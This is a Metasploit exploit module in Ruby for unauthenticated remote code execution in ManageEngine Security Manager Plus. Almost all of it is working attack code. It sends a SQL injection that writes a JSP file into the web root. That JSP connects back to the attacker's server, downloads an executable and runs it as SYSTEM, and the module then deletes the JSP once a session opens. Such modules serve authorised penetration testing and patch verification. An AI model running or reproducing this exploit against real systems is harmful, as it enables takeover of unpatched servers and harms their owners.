1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218 | ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::EXE
def initialize(info={})
super(update_info(info,
'Name' => "ManageEngine Security Manager Plus <=5.5 build 5505 remote code execution",
'Description' => %q{
This module exploits a SQL injection found in ManageEngine Security Manager Plus
advanced search page. It will send a malicious SQL query to create a JSP file
under the web root directory, and then let it download and execute our malicious
executable under the context of SYSTEM. No authentication is necessary to exploit this.
},
'License' => MSF_LICENSE,
'Author' =>
[
'xistence' # Discovery & Metasploit module
],
'References' =>
[
],
'Payload' =>
{
'BadChars' => "\x00",
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
},
'Platform' => 'win',
'Targets' =>
[
# Win XP / 2003 / Vista / Win 7 / etc
['Windows Universal', {}]
],
'Privileged' => false,
'DisclosureDate' => "Oct 18 2012",
'DefaultTarget' => 0))
register_options(
[
OptPort.new('RPORT', [true, 'The target port', 6262]),
], self.class)
end
#
# A very gentle check to see if Security Manager Plus exists or not
#
def check
res = send_request_raw({
'method' => 'GET',
'uri' => '/SecurityManager.cc'
})
if res and res.body =~ /\<title\>Security Manager Plus\<\/title\>/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
#
# Remove the JSP once we get a shell.
# We cannot delete the executable because it will still be in use.
#
def on_new_session(cli)
if cli.type != 'meterpreter'
print_error("Meterpreter not used. Please manually remove #{@jsp_name + '.jsp'}")
return
end
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
begin
# jsp = @outpath.gsub(/\//, "\\\\")
# jsp = jsp.gsub(/"/, "")
vprint_status("#{rhost}:#{rport} - Deleting: #{@jsp_name + '.jsp'}")
cli.fs.file.rm("../webapps/SecurityManager/#{@jsp_name + '.jsp'}")
print_status("#{rhost}:#{rport} - #{@jsp_name + '.jsp'} deleted")
rescue ::Exception => e
print_error("Unable to delete #{@jsp_name + '.jsp'}: #{e.message}")
end
end
#
# Transfer the malicious executable to our victim
#
def on_client_connect(cli)
print_status("#{cli.peerhost}:#{cli.peerport} - Sending executable (#{@native_payload.length} bytes)")
cli.put(@native_payload)
service.close_client(cli)
end
#
# Generate a download+exe JSP payload
#
def generate_jsp_payload
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address("50.50.50.50") : datastore['SRVHOST']
my_port = datastore['SRVPORT']
# tmp folder = C:\Program Files\SolarWinds\Storage Manager Server\temp\
# This will download our malicious executable in base64 format, decode it back,
# save it as a temp file, and then finally execute it.
jsp = %Q|
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%@page import="sun.misc.BASE64Decoder"%>
<%
StringBuffer buf = new StringBuffer();
byte[] shellcode = null;
BufferedOutputStream outstream = null;
try {
Socket s = new Socket("#{my_host}", #{my_port});
BufferedReader r = new BufferedReader(new InputStreamReader(s.getInputStream()));
while (buf.length() < #{@native_payload.length}) {
buf.append( (char) r.read());
}
BASE64Decoder decoder = new BASE64Decoder();
shellcode = decoder.decodeBuffer(buf.toString());
File temp = File.createTempFile("#{@native_payload_name}", ".exe");
String path = temp.getAbsolutePath();
outstream = new BufferedOutputStream(new FileOutputStream(path));
outstream.write(shellcode);
outstream.close();
Process p = Runtime.getRuntime().exec(path);
} catch (Exception e) {}
%>
|
jsp = jsp.gsub(/\n/, '')
jsp = jsp.gsub(/\t/, '')
jsp.unpack("H*")[0]
end
#
# Run the actual exploit
#
def inject_exec
# This little lag is meant to ensure the TCP server runs first before the requests
select(nil, nil, nil, 1)
# Inject our JSP payload
print_status("#{rhost}:#{rport} - Sending JSP payload")
pass = rand_text_alpha(rand(10)+5)
hex_jsp = generate_jsp_payload
res = send_request_cgi({
'method' => 'POST',
'uri' => '/STATE_ID/31337/jsp/xmlhttp/persistence.jsp?reqType=AdvanceSearch&SUBREQUEST=XMLHTTP',
'headers' => {
'Cookie' => 'STATE_COOKIE=%26SecurityManager%2FID%2F174%2FHomePageSubDAC_LIST%2F223%2FSecurityManager_CONTENTAREA_LIST%2F226%2FMainDAC_LIST%2F166%26MainTabs%2FID%2F167%2F_PV%2F174%2FselectedView%2FHome%26Home%2FID%2F166%2FPDCA%2FMainDAC%2F_PV%2F174%26HomePageSub%2FID%2F226%2FPDCA%2FSecurityManager_CONTENTAREA%2F_PV%2F166%26HomePageSubTab%2FID%2F225%2F_PV%2F226%2FselectedView%2FHomePageSecurity%26HomePageSecurity%2FID%2F223%2FPDCA%2FHomePageSubDAC%2F_PV%2F226%26_REQS%2F_RVID%2FSecurityManager%2F_TIME%2F31337; 2RequestsshowThreadedReq=showThreadedReqshow; 2RequestshideThreadedReq=hideThreadedReqhide;',
'Accept-Encoding' => 'identity'
},
'vars_post' => {
'ANDOR' => 'and',
'condition_1' => 'OpenPorts@PORT',
'operator_1' => 'IN',
'value_1' => "1)) union select 0x#{hex_jsp},2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,21,22,23,24,25,26,27,28,29 into outfile #{@outpath} FROM mysql.user WHERE 1=((1",
'COUNT' => '1'
}
})
print_status("#{rhost}:#{rport} - Sending pwnage /#{@jsp_name + '.jsp'}")
res = send_request_raw({
'method' => 'GET',
'uri' => "/#{@jsp_name + '.jsp'}",
'headers' => {
'Cookie' => 'pwnage'
}
})
handler
end
#
# The server must start first, and then we send the malicious requests
#
def exploit
# Avoid passing this as an argument for performance reasons
# This is in base64 is make sure our file isn't mangled
@native_payload = [generate_payload_exe].pack("m*")
@native_payload_name = rand_text_alpha(rand(6)+3)
@jsp_name = rand_text_alpha(rand(6)+3)
@outpath = "\"../../webapps/SecurityManager/#{@jsp_name + '.jsp'}\""
begin
t = framework.threads.spawn("reqs", false) { inject_exec }
print_status("Serving executable on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")
super
ensure
t.kill
end
end
end
|